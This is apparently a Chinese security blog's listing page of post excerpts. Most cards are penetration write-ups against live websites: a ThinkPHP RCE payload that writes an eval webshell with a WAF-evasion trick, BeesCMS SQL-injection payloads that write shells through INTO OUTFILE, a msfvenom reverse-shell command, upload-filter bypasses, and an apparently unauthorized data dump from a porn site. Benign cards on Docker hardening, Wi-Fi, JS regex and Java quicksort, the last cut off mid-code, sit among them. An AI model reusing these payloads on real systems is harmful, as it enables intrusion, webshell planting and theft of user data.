• Web漏洞扫描器 -- SZhe_Scan

    0x01 工具介绍 碎遮SZhe_Scan Web漏洞扫描器,基于python Flask框架,对输入的域名/IP进行全面的信息搜集,漏洞扫描,可自主添加POC。 0x02 安装与使用 1、安装 git clone https://github.com/Cl0udG0d/SZhe_Scancd SZhe_Scandocker-compose up -d 2、使用方法 访问ip:8000 即可,默认账户密码为:admin@admin.com / admin选择需要的POC和插件,添加任务进行扫描即可 0x03 项目链接下载 加入下方交流群...

    2022-11-23 282
  • 可控文件拿shell

    挖洞的时候遇到一个平台 爆破进入后台 下一步肯定是找上传点然后拿shell是吧 确定上传 java站,改成jsp后缀试试 好,可以发现并不是filename控制文件后缀 那估计是str控制了 访问 http:/XXX.XXX/wb/upload/7D4B487AFAC49B42E472A8AB1D60D702.jsp 直接下载。。(一般遇到这种情况就放弃了) 再观察一下请求包 是不是能控制文件名 果然可以,能控制文件名是不是就可以跨目录了 http://xxx.xxx/wb/upload/../../test.jsp 等于http://xxx.xxx/test.jsp 尝试连接 直接administrator权限 ...

    2022-11-21 304
  • 抽奖诈骗网站的渗透

    网站是这样的,他是利用短视频发布免费皮肤领取的视频,扫码进入这个网页,然后扫码进群再进行诈骗。 报错判断为think PHP框架 试试RCE POST: http://xxxx.xxxx.com/?s=index/index/ s=-1&_method=__construct&method=get&filter[]=phpinfo 为php5,尝试写shell POST http://xxx.xxx.com/?s=index/index s=file_put_contents('1.php','<?php eval($_POST[x])?>')&_method=__construct&method=POST&filter[]=assert 宝塔waf 经过多次实验,宝塔应该是拦截了_POST[关键字,下面我们尝试绕过 在php里面我们可以使用'.'拼接符来连接前后的语句 <?php ev'.'al($_PO'.'ST[x])?>相当于<?php eval($_POST[x])?> POST: http://xxx.xxx.com/?s=index/index s=file_put_contents('1.php','<?php ev'.'al($_PO'.'ST[x])?>')&_method=__construct&method=POST&filter[]=assert 写shell成功 访问http://xxx.xx/1.php 菜刀连接成功 宝塔限制的太死了,提权不了 ...

    2022-11-21 331
  • 对一次色情站点的渗透测试(苹果CMS)

    在某聊天软件学习技术看到有人卖色情站源码,自称苹果CMS三开,呢我肯定要看看,为后续打击违规站点做功课 现来看看代理后台 后台无可利用点,TP框架试着用TP工具扫了一下并无发现漏洞 这个代理后台渗透无望,尝试信息收集,在找了8页后找到了个激活码页面,应该是给下线激活域名的 看到这个查询框,果断burp,仍sqlmap跑一下 运气比较好,存在sql注入漏洞 那么现在就比较简单了,典型的苹果cms表前缀 那么问题来了,如何找到他后台,后台输入admin.php,admin 均为页面不存在 那只好利用我的社工手段了(忽悠大法) ok,后台地址到手,利用SQL注入跑出密码,成功登录后台 后台是苹果10cms,网上看了getshell方法,模板什么的,均无果。 总结: 注册用户信息6千多 代理273个 包括代理登录日志,管理日志已经全脱出来了。 奉劝各位,请勿跨越法律红线。...

    2022-11-20 317
  • 任意文件上传的技巧

    bypass任意文件上传系列会总结最常见的绕过思路和方法 1.首先上传点,我们得判断他是不是黑白名单,是否存在waf(检测机制) 可以看到这里有个上传功能,上传简历和图片,这有可能是前端验证,我们先上传个jpg文件 然后抓包 这里的话我们就要判断是不是黑白名单还是任意文件上传,这个时候我们只要吧jpg后缀改成jpgx进行判断 如果是白名单想都不要想只能上传指定的后缀。 可以上传,这个时候我们试下脚本文件,比如jsp 我们可以看见上传jsp文件被拦截,仔细一看原来是防火墙拦截 到这里的话就得讲绕过思路了 常见绕waf呢我这里先讲一种,不然后面我就写(编)不下去了 双写filename绕过 原理呢,这个上传只判断Content-Disposition的filename的文件名 filename如果为多个这里waf就会判断最前面的那个是不是waf里面设置好了的黑名单(不代表所有waf) 比如这样 或这样(注意filename="2.jsp";filename="2.jspjsp" 的中间有个;) ...

    2022-11-19 383
  • 实战 | 记一次网站渗透过程

    一、序言 前几天记录某一次无意点开的一个小网站的渗透过程,幸运的是搭建平台是phpstudy,cms是beecms,beecms有通用漏洞,然后去网上找了资料,成功getshell并获取服务器权限。 二、渗透过程 1. 无意点开一个网站,发现网站比较小,且看起来比较老,然后发现logo没有改,于是乎去百度搜索这个cms,发现有通用漏洞 Beecms 通用漏洞 https://www.ohinge.cn/php/beescms_sqli.html 2. 这里运气比较好,没有更改后台地址,还是默认地址/admin/login.php 3. 通过通用漏洞发先后台管理处存在sql注入漏洞,直接输入admin’,然后就会报错,这里用万能密码不能登陆,看来还是得通过上面得通用漏洞来进行注入 4. 可以看到输入payload后,页面返回正常,从而可以判断有sql注入,这里采用双写进行绕过 5. 发现这个注入点后,就有各种各样的注入方式了,通过sql语句写入一句话,sqlmap一把梭,手工注入得到账号密码等等,怎么方便怎么来,这里我把几种方法都写一下,看看那种方法可以 方法一 1.通过post抓包sqlmap一把梭,dump出管理员账号密码,进后台找上传点 2.一把梭,发现并没有,使用脚本也没有绕过 方法二 1.通过burp抓包,写入一句话,payload: admin%27 un union ion selselectect 1,2,3,4,<?php @eval($_POST[123]);?> into outfile 'xm.php'# 发现写入失败,前面讲到有防护,这里通过hex编码或者char函数绕过 2.对shell部分进行编码 3.写入shell的payload为:注意:记得在编码转换的时候前面加0x或者直接用unhex函数,但是本次实验用unhex函数一直失败,所以在前面加0x,看到可以写入成功。 ps:这里的写入路径纯属盲猜,运气好,默认目录 4.用蚁剑连接,成功连接,至此getshell完毕,下来就是后渗透阶段,后面会讲 char函数绕过:mysql内置函数char()可以将里面的ascii码转换为字符串,payload为: admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62) in into outoutfilefile 'C:/phpStudy/WWW/beescms/cmd.php'# 一样成功写入 1.写入成功后,菜刀可以连接,我们访问写入的文件,惊奇的发现竟然有admin,和一串md5码,大胆猜测可能是后台账号和密码,试一下 2.md5解密,wocao,成功登陆,然后就是后台找上传了 三、后渗透 通过whoami查看权限,发现是admin权限,但是不是最高权限,我们要提到最高权限去 方法一 1.通过msf生成木马提权,payload: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe X > shell.exe 2.通过蚁剑上传木马,并执行。执行之前打开msf使用模块 use exploit/multi/handler 设置相应参数,然后开始监听 2.不知道什么问题,用这个没有成功,那么只能通过大马提权了 方法二 1.上传大马,此处应该有狗或者盾之类的,用的免杀,成功上传 2.访问大马 3.这里提权方式很多,就不细说了,有大马之后很多操作都可以引刃而解了,开放端口,添加账号,留后门。。等等 4.创建admin权限账号之后,登陆服务器 四、一些其他的发现 通过扫描目录,还发现有phpmyadmin,可以爆破,这里我试了下竟然是弱口令,都是root,但是连接不上,只能通过phpmyadmin登陆,发现是低版本的phpstudy搭建的,这里就可以另一种思路,利用日志文件写入一句话getshell 五、总结 1.前台sql注入获取用户名密码,进入后台找上传 2.SQL注入语句写入一句话 3.phpmyadmin一句话getshell 4.上传大马提权 至此,渗透结束 文章转载于:https://blog.csdn.net/qq_42111373 ...

    2022-09-15 418
  • 云短信验证码接收平台

    推荐几个免费的云短信验证码接收平台 花钱肯定咱不要。 如果你还有喜欢分享的话,评论留言。 https://www.storytrain.info/  https://america.storytrain.info/ +84是越南号码,+66是泰国号码,+60是马来西亚号码,可接收国内验证码! 网站提供的号码仅用于注册一些不重要的网站账号或者APP账号,防止个人隐私被泄漏,杜绝被骚扰。禁止将这些电话号码用于政务部门、银行、金融、支付、借贷、快递、网约服务等操作。严禁将号码用于非法用途,所产生的法律后果由使用者自行承担!由此造成经济损失概不负责! ...

    2022-08-28 566
  • 12 个优化 Docker 镜像安全性的技巧

    本文介绍了 12 个优化 Docker 镜像安全性的技巧。每个技巧都解释了底层的攻击载体,以及一个或多个缓解方法。这些技巧包括了避免泄露构建密钥、以非 root 用户身份运行,或如何确保使用最新的依赖和更新等。 1前言 当你是刚开始使用 Docker 的新手时,你很可能会创建不安全的 Docker 镜像,使攻击者很容易借此接管容器,甚至可能接管整个主机,然后渗透到你公司的其他基础设施中。 可以被滥用来接管你的系统的攻击向量有很多,例如: 启动的应用程序(在你 Dockerfile 的 ENTRYPOINT 中指定)以 root 用户身份运行。这样以来,一旦攻击者利用了一个漏洞并获得了 shell 权限,他们就可以接管 Docker 守护程序所运行的主机。 你的镜像是基于一个过时的和 / 或不安全的基础镜像,其中包含(现在)众所周知的安全漏洞。 你的镜像包含了一些工具(如 curl、apt 等),一旦攻击者获得了某种访问权,就可以通过这些工具将恶意软件加载到容器中。 下面的各个章节讲解了能够优化你的镜像安全性的各种方法。它们是按重要性 / 影响程度排序的,也就是说排名靠前的方法更重要。 2避免泄露构建密钥 构建密钥是只在构建 Docker 镜像时需要的凭证(不是在运行时)。例如,你可能想在你的镜像中包含某个应用程序的一个编译版本,这个应用的源代码是闭源的,并且其 Git 存储库是有访问保护的。在构建镜像时,你需要克隆 Git 存储库(这需要构建密钥,例如该存储库的 SSH 访问密钥),从源代码构建应用程序,然后再删除源代码(和密钥)。 “泄露“构建密钥是说你不小心把这种密钥烘焙到了你的镜像的某个层中。这种情况很严重,因为拉取你的镜像的所有人都可以检索到这些机密。这个问题源于这样一个事实,即 Docker 镜像是以纯粹的加法方式逐层构建的。你在一个层中删除的文件只是被“标记”为已删除,但拉取你镜像的人们仍然可以使用高级工具访问它们。 可以使用以下两种方法之一来避免泄露构建密钥。 多阶段构建 Docker 多阶段构建(官方文档)有许多用例,例如加快你的镜像构建速度,或减少镜像大小。本系列的其他文章会详细介绍其他用例。总之,你也可以通过多阶段构建来避免泄露构建密钥,如下所示: 创建一个阶段 #A,将凭证复制到其中,并使用它们来检索其他工件(例如上述例子中的 Git 存储库)和执行进一步的步骤(例如编译一个应用程序)。阶段 #A 的构建确实包含了构建的密钥! 创建一个 #B 阶段,其中你只从 #A 阶段复制非加密的工件,例如一个已编译的应用程序。 只发布 / 推送阶段 #B 的镜像 BuildKit 的密钥 背景知识 如果你使用 docker build 进行构建,可以实际执行构建的后端选项不止一个。其中较新和较快的后端是 BuildKit,你需要在 Linux 上设置环境变量 DOCKER_BUILDKIT=1 来显式启用它。注意,BuildKit 在 Windows/MacOS 的 Docker for Desktop 上是默认启用的。 正如这里的文档所解释的(阅读它们以了解更多细节),BuildKit 构建引擎支持 Dockerfile 中的额外语法。要使用构建密钥,请在你的 Dockerfile 中放入类似下面这样的内容: RUN --mount=type=secret,id=mysecret,dst=/foobar <command to run> 当 RUN 语句被执行时,密钥将对这个构建容器可用,但不会将密钥本身(这里是:/foobar 文件夹)放入构建的镜像中。你需要在运行 docker build 命令时指定密钥的源文件 / 文件夹(位于主机上)的路径,例如: docker build --secret id=mysecret,src=mysecret.txt -t sometag 不过有一点需要注意:你不能通过 docker-compose up --build 来构建需要密钥的镜像,因为 Docker-compose 还不支持用于构建的 --secret 参数,见 GitHub 问题。如果你依赖 docker-compose 的构建,请使用方法 1(多阶段构建)。  题外话:不要推送在开发机上构建的镜像 你应该一直在一个干净的环境中构建和推送镜像(例如 CI/CD 管道),其中构建代理会将你的存储库克隆到一个新目录。 使用本地开发机器进行构建的问题是,你的本地 Git 存储库的“工作树“可能是脏的。例如,它可能包含有开发过程中需要的密钥文件,例如对中转甚至生产服务器的访问密钥。如果没有通过.dockerignore 排除这些文件,那么 Dockerfile 中的“COPY . .“等语句可能会意外导致这些密钥泄露到最终镜像中。 3以非 root 用户身份运行 默认情况下,当有人通过“docker runyourImage:yourTag“运行你的镜像时,这个容器(以及你在 ENTRYPOINT/CMD 中的程序)会以 root 用户身份运行(在容器和主机上)。这给了一个使用某种漏洞在你的运行容器中获得 shell 权限的攻击者以下权力: 对主机上所有显式挂载到容器中的目录的无限制写权限(因为是 root)。 能够在容器中做 Linux 根用户可以做的一切事情。例如,攻击者可以安装他们需要的额外工具来加载更多的恶意软件,比如说通过 apt-get install(非 root 用户无法做到这一点)。 如果你的镜像容器是用 docker run --privileged 启动的,攻击者甚至可以接管整个主机。 为了避免这种情况,你应该以非 root 用户(你在 docker build 过程中创建的一些用户)的身份运行你的应用程序。在你的 Dockerfile 中的某个地方(通常是在结尾处)放置以下语句: # Create a new user (including a home-directory, which is optional)RUN useradd --create-home appuser# Switch to this userUSER appuser Dockerfile 中所有在 USER appuser 语句之后的命令(如 RUN、CMD 或 ENTRYPOINT)都将以这个用户运行。这里有一些需要注意的地方: 在切换到非 root 用户之前,你通过 COPY 复制到镜像中的文件(或由某些 RUN 命令创建的文件)是由 root 用户拥有的,因此以非 root 用户身份运行的应用程序无法写入。为了解决这个问题,请把创建和切换到非 root 用户的代码移到 Dockerfile 的开头。 如果这些文件是在 Dockerfile 的开头以根用户身份创建的(存储在 /root/ 下面,而不是 /home/appuser/ 下面),那么你的程序期望在用户的主目录中的某个地方(例如~/.cache)的文件,现在从应用程序的视角来看可能突然消失了。 如果你的应用程序监听一个 TCP/UDP 端口,就必须使用大于 1024 的端口。小于等于 1024 的端口只能以 root 用户身份使用,或者以一些高级 Linux 能力来使用,但你不应该仅仅为了这个目的而给你的容器这些能力。 4使用最新的基础镜像构建和更新系统包 如果你使用的基础镜像包含了某个真正的 Linux 发行版(如 Debian、Ubuntu 或 alpine 镜像)的全部工具集,其中包括一个软件包管理器,建议使用该软件包管理器来安装所有可用的软件包更新。 背景知识 基础镜像是由某人维护的,他配置了 CI/CD 管道计划来构建基础镜像,并定期推送到 Docker Hub。你无法控制这个时间间隔,而且经常发生的情况是,在该管道将更新的 Docker 镜像推送到 Docker Hub 之前,Linux 发行版的包注册表(例如通过 apt)中已经有了安全补丁。例如,即使基础镜像每周推送一次,也有可能在最近的镜像发布几小时或几天后出现安全更新。 因此,最好总是运行更新本地软件包数据库和安装更新的包管理器命令,采用无人值守模式(不需要用户确认)。每个 Linux 发行版的这个命令都不一样。 例如,对于 Ubuntu、Debian 或衍生的发行版,使用 RUN apt-get update && apt-get -y upgrade 另一个重要的细节是,你需要告诉 Docker(或你使用的任何镜像构建工具)来刷新基础镜像。否则,如果你引用一个基础镜像,比如 python:3(而 Docker 在其本地镜像缓存中已经有了这样一个镜像),Docker 甚至不会检查 Docker Hub 上是否存在更新的 python:3 版本。为了摆脱这种行为,你应该使用这个命令: docker build --pull <rest of the build command> 这可以确保 Docker 在构建镜像之前拉取你的 Dockerfile 中 FROM 语句中提到的镜像的更新。 你还应该注意 Docker 的层缓存机制,它会让你的镜像变得陈旧,因为 RUN <install apt/etc. updates>命令的层是缓存的,直到基础镜像维护者发布新版本的基础镜像才刷新。如果你发现基础镜像的发布频率相当低(比如少于一周一次),那么定期(比如每周一次)重建你的镜像并禁用层缓存是个好主意。你可以运行以下命令来做到这一点: docker build --pull --no-cache <rest of the build command> 5定期更新第三方依赖 你编写的软件是基于第三方的依赖,也就是由其他人制作的软件。这包括了: 你的镜像下面的基础 Docker 镜像,或 你作为自己应用程序的一部分使用的第三方软件组件,例如通过 pip/npm/gradle/apt/……安装的组件。 如果你的镜像中的这些依赖过时了,就会增加攻击面,因为过时的依赖往往有可利用的安全漏洞。 你可以定期使用 SCA(软件组件分析)工具来解决这个问题,比如 Renovate Bot。这些工具(半)自动将你声明的第三方依赖更新为最新版本,例如在你的 Dockerfile、Python 的 requirements.txt、NPM 的 packages.json 等文件中声明的列表。你需要设计你的 CI 管道,使 SCA 工具所做的更改自动触发你的镜像的 re-build。 这种自动触发的镜像重建对于处在只维护模式,但代码仍将被客户在生产环境中使用(客户希望它是安全的)的项目特别有用。在维护期间,你不再开发新的特性,也不会构建新的镜像,因为没有新的提交(由你做出)来触发新的构建。然而,由 SCA 工具做出的提交确实会再次触发镜像构建。 6对你的镜像进行漏洞扫描 即使你执行了上述建议,比如说你的镜像总是使用最新的第三方依赖,它仍然可能是不安全的(例如一个依赖已经被弃用的情况)。在这种情况下,“不安全“意味着一个(或多个)依赖有已知的安全漏洞(在一些 CVE 数据库中注册)。 出于这个原因,你可以给你的 Docker 镜像提供某种工具来扫描所有包含的文件,以找到这种漏洞。这些工具有两种形式: 你显式调用的 CLI 工具(例如在 CI 管道中),比如说 Trivy(OSS,在 CI 管道中非常容易使用,见 Trivy 文档)、Clair(OSS,但设置和使用比 Trivy 更复杂),或 Snyk(通过“docker scan“集成到 Docker CLI 中,见 cheat sheet,但只有有限的免费计划!) 集成到你推送镜像的镜像注册中心的扫描器,如 Harbor(内部使用 Clair 或 Trivy)。还有一些商业产品,如 Anchore。 因为这些扫描器是通用的,它们还试图覆盖一大堆包注册表,所以可能不会特别为你在自己项目中使用的编程语言或包注册表定制。有时,你应该调查你的编程语言生态系统提供了哪些工具。例如,对于 Python 来说就有一个专门针对 Python 包的安全工具。 7扫描你的 Dockerfile 是否违反了最佳实践 有时,问题来自于你在 Dockerfile 中放置的语句,这些语句是不好的实践(但你没有意识到)。为此可以使用诸如 checkov、Conftest、trivy 或 hadolint 等工具,它们是 Dockerfile 的 linter。为了选择正确的工具,你需要查看它的默认规则 / 政策。例如,hadolint 比 checkov 或 conftest 提供的规则更多,因为它是专门针对 Dockerfiles 的。这些工具也是相互补充的,因此在你的 Dockerfiles 上运行多个工具(如 hadolint 和 trivy)确实是有意义的。不过要做好准备,因为你需要维护“忽略文件“,在这个文件中的规则会被忽略——可能是由于误报而有意忽略它们,或者是你准备故意破坏规则。 8不要对 Docker Hub 使用 Docker 内容信任 为了验证你使用的基础镜像确实是由该镜像背后的公司构建和推送的,你可以使用 Docker 内容信任(见官方文档)特性。只需在运行 docker build 或 docker pull 时将 DOCKER_CONTENT_TRUST 环境变量设为“1“即可启用该特性。Docker 守护进程将拒绝提取没有经过发布者签名的镜像。 不幸的是,大约一年前开始社区就不再以这种方式签名镜像了。就连 Docker Inc. 也在 2020 年 12 月停止了签名官方 Docker 镜像,也没有官方解释。问题更大的是如果你使用“docker pull docker:latest”这样的命令,只会下载一个过时很久的镜像。 你可以查看一下镜像签名的其他实现,比如说 cosign(不过我还没试过)。 9扫描你自己的代码是否有安全问题 安全问题通常来源于其他人的代码,也就是流行的第三方依赖。因为它们应用广泛,所以在黑客那里是“有利可图“的。然而,有时是你自己的代码在作怪。例如,你可能不小心实现了 SQL 注入的可能性、堆栈溢出的错误,等等。 为了找到这些问题,你可以使用所谓的 SAST(静态应用安全测试)工具。一方面,有一些特定于编程语言的工具(你必须单独研究),如 Python 的 bandit,或 Java 的 Checkstyle/Spotbugs。另一方面,还有一些支持多种编程语言和框架的工具套件(其中一些是非免费 / 商业的),如 SonarQube(对于它还有 SonarLint IDE 插件)。 在实践中,安全扫描有两种基本方法: 连续(自动)扫描:你创建一个 CI 作业,在每次推送时扫描你的代码。这可以让你的代码安全性保持在一个较高的水平上,但你必须弄清楚如何忽略误报(这是一项持续的维护工作)。如果你使用 GitLab,可能还会发现 GitLab 的免费 SAST 功能很有趣。 不定期(手动)扫描:团队中一些有安全意识的成员在本地运行安全检查,例如每月一次或每次发布前,并手动查看结果。 10使用 docker-slim 来删除不必要的文件 docker-slim 工具可以获取大型 Docker 镜像,临时运行它们,分析哪些文件在临时容器中是被真正使用的,然后生成一个新的、单层的 Docker 镜像——其中所有未使用的文件都会被删除。这样做有两个好处: 镜像被缩小 镜像变得更加安全,因为不需要的工具被删除了(例如 curl 或包管理器)。 请参考我之前文章中的 Docker slim 部分以了解更多细节。 11使用最小的基础镜像 一个镜像中存储的软件(如 CLI 工具等)越多,攻击面就越大。使用“最小“的镜像是一个很好的实践,它越小越好(无论如何这是一个很好的优势),并且应该包含尽可能少的工具。最小的镜像甚至超越了“优化体积“的镜像(如 alpine 或:-slim,如 python:3.8-slim):前者没有任何包管理器。这使攻击者很难加载额外的工具。 最安全的最小基础镜像是 SCRATCH,它完全不包含任何东西。只有当你在镜像中放置自包含的二进制文件时,才能用 FROM SCRATCH 启动你的 Dockerfile——这些二进制文件烘焙进了所有的依赖(包括 C-runtimes)。 如果 SCRATCH 不适合你,谷歌的无发行版(distroless)镜像可以是一个很好的选择,特别是当你正在为常见的编程语言(如 Python 或 Node.js)构建应用程序,或者需要一个最小的 Debian 基础镜像时。 不幸的是,最小镜像有几个需要注意的地方: 无发行版的注意事项: 不建议使用谷歌在 gcr.io 上发布的针对特定编程语言的镜像,因为那里只有一个 latest 版本标签,以及 major 版本的标签(例如 python 的“3“,或 Node 的“12“)。你无法控制具体的语言运行时版本(例如是否使用 Python 3.8.3 或 3.8.4 等),这破坏了你的镜像构建的可重用性。 定制(和构建你自己的)无发行版镜像是相当复杂的:你需要熟悉 Bazel 的构建系统并自己构建镜像。 注意:如果你唯一需要的定制是“以非 root 用户身份运行代码”,那么每个无发行版基础镜像中都有一个默认的非 root 用户,详见这里。 最小基础镜像的常规注意事项: 使用最小基础镜像调试容器是很棘手的,因为有用的工具(比如 /bin/sh)现在不见了。 对于 Docker,你可以运行第二个调试容器(它确实有一个 shell 和调试工具,例如 alpine:latest),并使其共享你的最小容器的 PID 命名空间,例如通过 docker run -it --rm --pid=container: --cap-add SYS_PTRACE alpine sh 对于 Kubernetes,你可以使用短期容器,见这里的例子 12使用受信任的基础镜像 一个受信任的镜像指的是经过某人(要么是你自己的组织,要么是其他人)按照比如说某种安全级别审核的镜像。这对具有高安全要求和规定的受管制行业(银行、航空航天等)来说可能特别重要。 虽然你自己可以通过从头开始建立可信的镜像来完成审计工作,但这是不可取的。因为你(这个镜像的构建者)必须确保所有与审计有关的任务都已完成,并有正确的记录(例如记录镜像中的包列表、执行的 CVE 检查及其结果等等)。这项任务非常繁重。相反,我们建议将这项工作外包出去,使用商业性的“可信注册表“——它提供了一套选定的可信镜像,如 RedHat 的通用基础镜像(UBI)。RedHat 的 UBI 现在也可以在 Docker Hub 上免费获取。 背景知识 在 Docker Hub 上托管的镜像没有经过审计。它们是“按原样“提供的。它们可能是不安全的(甚至包含恶意软件),而且没有人会通知你这一点。因此,使用 Docker Hub 中不安全的基础镜像也会让你的镜像变得不安全。 另外,你不应该把审计和上面提到的 Docker 的内容信任混为一谈!内容信任只确认来源(镜像上传者)的身份,并不会确认与镜像安全性有关的任何事实。 13测试你的镜像是否能在降低能力的情况下工作 Linux capabilities 是 Linux 内核的一个特性,它允许你控制一个应用程序可以使用哪些内核特性,例如一个进程是否可以发送信号(如 SIGKILL)、配置网络接口、挂载磁盘,或调试进程等。完整的列表见这里。一般来说,你的应用程序需要的功能越少越好。 启动你的镜像容器的所有人都可以给予(或拿走)这些能力,例如通过调用“docker run --cap-drop=ALL “。默认情况下 Docker 会放弃所有能力,除了这里定义的那些以外。你的应用程序可能不需要所有这些功能。 作为一个最佳实践,你可以尝试启动你的镜像容器,放弃所有能力(使用 --cap-drop=ALL),看看它是否仍然正常工作。如果不能,请搞清楚哪些功能是缺失的,并且你是否真的需要它们。然后请记录你的镜像需要哪些功能(以及为什么),这会给运行你镜像的用户带去更多信心。 14总结 提升你的镜像安全性并非闲庭信步。你需要花时间来评估和实施每一种实践。本文中的列表应该可以节省你的时间,因为收集和排序重要步骤的工作已经为你做好了。 所幸,提升你的应用程序的安全性是一个迭代过程。你可以从小处着手,每次实施一个步骤。不过你确实需要得到管理层的支持。这有时是很难办的,特别是有时你的经理会对建议有抵触情绪,他们可能倾向于从过去的经验来做推断(“我们,或我们的客户,以前从未被黑过,那么为什么这种问题现在会发生在我们身上?我们需要的是特性!“)。你有几个选择:可以说服你的经理为安全性分配资源。例如,如果你有一个直接接触客户的渠道(你在为其构建软件),那么可以说服他们,让他们要求把安全性作为一个“特性“。或者在你的行业中寻找安全漏洞的报告(例如一个直接的竞争对手受到了影响),以证明黑客攻击确实发生了,甚至你的行业也出了问题,而且它们有严重的(财务)影响。 ...

    2022-07-15 356
  • 家里wifi网速慢怎么办,教你几招让你家的网速飞起来

    不知道大家有没有这样的感觉:家里的网用久了之后网速就容易变慢, 甚至有时候连上了网也打不开网页... 如果你家比较大, 那么有些地方WiFi信号可能也比较差,尤其是对住别墅的小伙伴来说, WiFi信号是个让人头疼的问题。 常见操作:启路由器 网速变慢,大多数人想到的第一件事应该就是调整路由器吧? 而最简单的操作就是定期给路由器断电。 估计很多人家里的路由器都是很久都没有重启过了吧? 一些人认为,路由器的功率很小,散热也不大,没必要断电。 事实上,路由器长期不间断运行,会导致设备过热,加速设备内部电子元件老化, 从而增加了出现故障的几率。 简言之,路由器也需要“休息”,给它适当“放松”一下, 有助于提升其工作效率。 另外,在长时间待机的过程中,路由器会积聚大量缓存内容, 采取定期关闭重启路由器的方式,可以让它启动自我清理。 轻装上阵,速度更稳定。 关于路由器重启的频率,如果你家安装了需要随时联网的监控设备,可以在回家之后关闭路由器, 十分钟左右再重新打开。 如果没有需要随时监控的东西,可以每天出门之后关闭路由器,还能防止蹭网。 要速度快,还得实现全屋网络覆盖 肯定很多人都发现了,家里放路由器的房间网速很快, 但是其他地方网络信号并不是很好,即使从老路由器换成了千兆路由器,依然没用。 到底是哪里出了问题呢? ① 调整路由器的位置以及天线的方向 WiFi路由器的原理是向四周发送信号, 摆放在窗边或墙角处信号容易被阻挡。如果是复式楼,则可以放在楼梯口位置。 另外,将路由器的天线呈直角摆放,多方位发射信号。 ② 利用多个路由器来实现 单台无线路由器的覆盖范围有限,导致局域网可能存在无线盲点或信号较弱区域。 借助WDS(Wireless Distribution System)桥接功能,可以将无线路由器通过无线方式连接到已有信号, 能够很好地提升家庭无线网络信号覆盖范围,消除盲点,也可以让家中吃灰的老旧路由发挥余热。 另外,如果你在装修时,在多个位置留了网线位置,那就更好办了。 直接在有网线的位置插一个路由器, 通电之后设置好网络名称和密码,使用手机、电脑进行WiFi连接之后就可以使用了。 赶紧把家里吃灰的老路由器翻出来试试, 说不准你蹲到家里角落手机信号也能满格了。 如果你现在需要重新布网或者正在重新布网的话,还可以选择无线Mesh网络形式。 这是一种新无线局域网类型,与传统WLAN不同的,无线Mesh网络中的AP可以采用无线连接的方式进行互连, 并且AP间可以建立多跳的无线链路。 由包括一组呈网状分布的无线AP构成,AP均采用点对点方式通过无线中继链路互联, 将传统WLAN中的无线“热点”扩展为真正大面积覆盖的无线“热区”。 如果选择这样的组网方式,你需要准备一个中高端的WiFi 6路由器,在入户宽带速度足够快的情况下, 你就能享受全屋覆盖高速上网了。 不是复杂密码就能防止蹭网 你还以为设置一个复杂的WiFi密码就能防止蹭网? 天真了。这样很可能难倒的是你自己。 好记性不如烂笔头,如果你现在将家里的无线密码改得很复杂, 一定要写在便签纸上放路由器背后,要不然你可能都会忘。 实际上,如果你定期搜索家里路由器的固件, 进行固件更新的话,没准比你设置复杂密码更管用。 定期进行固件更新,不仅可以在一定程度上保证数据的安全性, 还能扩大WiFi信号的范围。 升级WiFi6高速路由器 当然,如果你家里的入户光纤速度达到千兆, 也可以通过更换路由器的办法来实现高速上网,可以直接购买WiFi6路由器。 WiFi 6的速度比上一代802.11ac提高了接近四成,最高连接速率甚至可以达到9.6Gbps, 从根本上进行了提速。 此外WiFi 6采用新一代加密安全协议WPA3,这种新协议能阻止强力攻击、 暴力破解等,在使用时安全更有保障。 WiFi 6引入了TARget Wake Time目标唤醒技术,降低功耗。 但是,当下WiFi 6路由器售价从200元的入门级到两千元上下的旗舰级,极大的价格跨度让不少消费者感到迷茫, 除了本身品牌厂商根据不同市场定位进行硬件配置和功能设计差异化组合外。 还可能有“阉割版”、“残血版”, 所以在选购时,建议在多个产品之间进行比较匹配,或者找懂得组网的朋友进行详细的咨询再下手。 虽说都是老生常谈,却没有几个人经常做这些简单的操作,有空的话可以试试上述的操作,说不定会有意想不到的惊喜。 ...

    2022-07-07 471
  • JS正则判断校验姓名、手机号及身份证号码(笔记)

    JS校验判断姓名 const reg = /^[\u4e00-\u9fa5]{2,8}$/; const name = '呜哈哈1'; console.log(`姓名校验 ${reg.test(name)?'正确':'错误'}`); JS校验判断手机号 const reg = /^1[3|4|5|7|8]\d{9}$/; const mobil = '1525222222'; console.log(`手机号校验 ${reg.test(mobil)?'正确':'错误'}`); JS校验判断身份证号码 const reg = /(^\d{15}$)|(^\d{18}$)|(^\d{17}(\d|X|x)$)/; const userNum = '320333199806060011X'; console.log(`身份证号码校验 ${reg.test(userNum)?'正确':'错误'}`);...

    2022-06-15 416
  • Java快速排序

    排序算法主要分为10大类,他们的优缺点主要体现在时间复杂度和空间复杂度上,还有代码的难易程度上 这里我主要是对快速排序做一个再理解,因为在学习快速排序的时候遇到了一些问题,这些问题真的是很容易让人掉头发 快速排序的基本实现逻辑 在待排序数组中找一个基值,将比这个基值小的值移动到基值左边,将比这个基值大的值移动到基值右边,然后再将基值左右两边的数据重复次操作(递归),最后就能得到有序的一组数据 虽然听起来比较简单,但是我在理解的时候还是花费了一些时间 举一个例子 这是一个初始的数组:-10,20,15,1,0,30,-78,62,50 假设我们就取中间值0作为基值那么经过一次排序之后:-10,-78,0,1,20,15,30,62,50 (大概就是这种) 然后再将基值左边的数{-10,-78}进行操作:-78,-10 然后再将基值右边的数{1,20,15,30,62,50}进行操作:1, 15, 20, 30, 62, 50 ... 最后得到:-78, -10, 0, 1, 15, 20, 30, 50, 62 这里面需要注意的点,我就是在这里被坑了,这里的基值不一定是中间值,你随便在数组中找一个来当做基值都可以,只不过找中间值的话可能更好理解(我并不觉得) 代码实现 package com.quiteStore; import java.util.Arrays; public class QuiteStore { public static void main(String[] args) { int[] array = new int[]{-10,20,15,1,0,30,-78,62,50}; QuikeSote.sote(array,0,array.length-1); } } //找到一个中间值(比较值)比较中间值两边值的大小将小的值放在左边,将大的值放在右边,一次进行这样的操作 class QuikeSote{ public static void sote(int[] array,int left,int right){ //找到中间值(基值) int medianIndex = (left + right) / 2; int median = array[medianIndex]; int temp = 0; //比较两边值的大小,从左边找到一个大的值,右边找到一个小的值,将这两个值交换, //特殊情况:左边的值都是小的,右边的值都是大的,此时就找完一轮 while(left < right){ while(array[left]<median && left <= right){ left++; } //出循环说明找到了>=median的值 while(array[right]>median && left <= right){ right--; } 